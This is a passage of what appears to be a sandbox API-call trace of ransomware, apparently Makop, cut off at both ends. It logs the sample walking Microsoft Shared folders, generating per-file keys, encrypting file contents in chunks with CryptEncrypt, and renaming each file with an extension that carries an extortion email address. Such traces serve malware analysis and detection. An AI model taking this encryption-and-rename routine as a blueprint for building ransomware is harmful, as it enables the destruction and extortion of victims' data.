nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0100.892] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned 77 [0100.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.892] GetProcessHeap () returned 0x48a0000 [0100.893] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.893] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.893] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.893] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0100.897] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.897] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.897] GetProcessHeap () returned 0x48a0000 [0100.897] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.897] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.897] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.897] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.898] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.898] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.899] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.899] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.899] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.899] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.899] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.899] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.900] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ab, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2ab, lpOverlapped=0x0) returned 1 [0100.900] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2b0) returned 1 [0100.900] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.900] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2b0, lpOverlapped=0x0) returned 1 [0100.900] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.900] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.900] SetEndOfFile (hFile=0x138) returned 1 [0100.907] GetProcessHeap () returned 0x48a0000 [0100.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.907] GetProcessHeap () returned 0x48a0000 [0100.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.907] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0100.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.908] CloseHandle (hObject=0x138) returned 1 [0100.909] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0100.909] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0100.909] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0100.909] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0100.910] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0100.910] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT") returned 55 [0100.910] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*") returned 59 [0100.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0100.925] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.925] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0100.925] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR") returned 60 [0100.925] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*") returned 64 [0100.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0100.927] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.927] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0100.927] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0100.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.928] GetFileSizeEx (in: hFile=0x138, lpFileSize=0x6576038 | out: lpFileSize=0x6576038*=1658904) returned 1 [0100.928] GetProcessHeap () returned 0x48a0000 [0100.928] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.928] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.928] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.929] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576024*=0x8, lpOverlapped=0x0) returned 1 [0100.933] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6576028 | out: phKey=0x6576028*=0x48c7168) returned 1 [0100.934] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.934] GetProcessHeap () returned 0x48a0000 [0100.934] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.934] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576008*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576008*=0x40) returned 1 [0100.934] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.934] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576024*=0x40, lpOverlapped=0x0) returned 1 [0100.934] WriteFile (in: hFile=0x138, lpBuffer=0x657602c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x657602c*, lpNumberOfBytesWritten=0x6576024*=0x4, lpOverlapped=0x0) returned 1 [0100.934] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576024*=0x10, lpOverlapped=0x0) returned 1 [0100.934] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576024*=0x80, lpOverlapped=0x0) returned 1 [0100.935] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.935] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576024, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576024*=0x8, lpOverlapped=0x0) returned 1 [0100.935] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6576028 | out: phKey=0x6576028*=0x48c7168) returned 1 [0100.935] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.935] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0100.935] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0100.949] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0100.952] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.952] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0100.954] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.954] WriteFile (in: hFile=0x138, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0100.954] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x87008, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0100.955] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0100.966] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0100.969] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x87008, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.969] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0100.971] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.971] WriteFile (in: hFile=0x138, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0100.971] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x155020, lpNewFilePointer=0x0, dwMoveMethod=0x6575ff8 | out: lpNewFilePointer=0x0) returned 1 [0100.971] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6575fec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6575fec*=0x40000, lpOverlapped=0x0) returned 1 [0100.979] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6575ff4*=0x40000) returned 1 [0100.982] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x155020, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.982] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6575ff0*=0x40000, lpOverlapped=0x0) returned 1 [0100.984] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.984] WriteFile (in: hFile=0x138, lpBuffer=0x6575ff8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6575ff0, lpOverlapped=0x0 | out: lpBuffer=0x6575ff8*, lpNumberOfBytesWritten=0x6575ff0*=0x8, lpOverlapped=0x0) returned 1 [0100.984] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.984] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.984] SetEndOfFile (hFile=0x138) returned 1 [0100.993] GetProcessHeap () returned 0x48a0000 [0100.993] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.993] GetProcessHeap () returned 0x48a0000 [0100.993] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.994] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0100.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.995] CloseHandle (hObject=0x138) returned 1 [0100.995] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0100.995] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0100.996] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0100.996] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES") returned 60 [0100.996] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*") returned 64 [0100.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0100.998] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.998] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0100.998] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0100.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.999] GetProcessHeap () returned 0x48a0000 [0100.999] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.999] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.999] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.999] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, 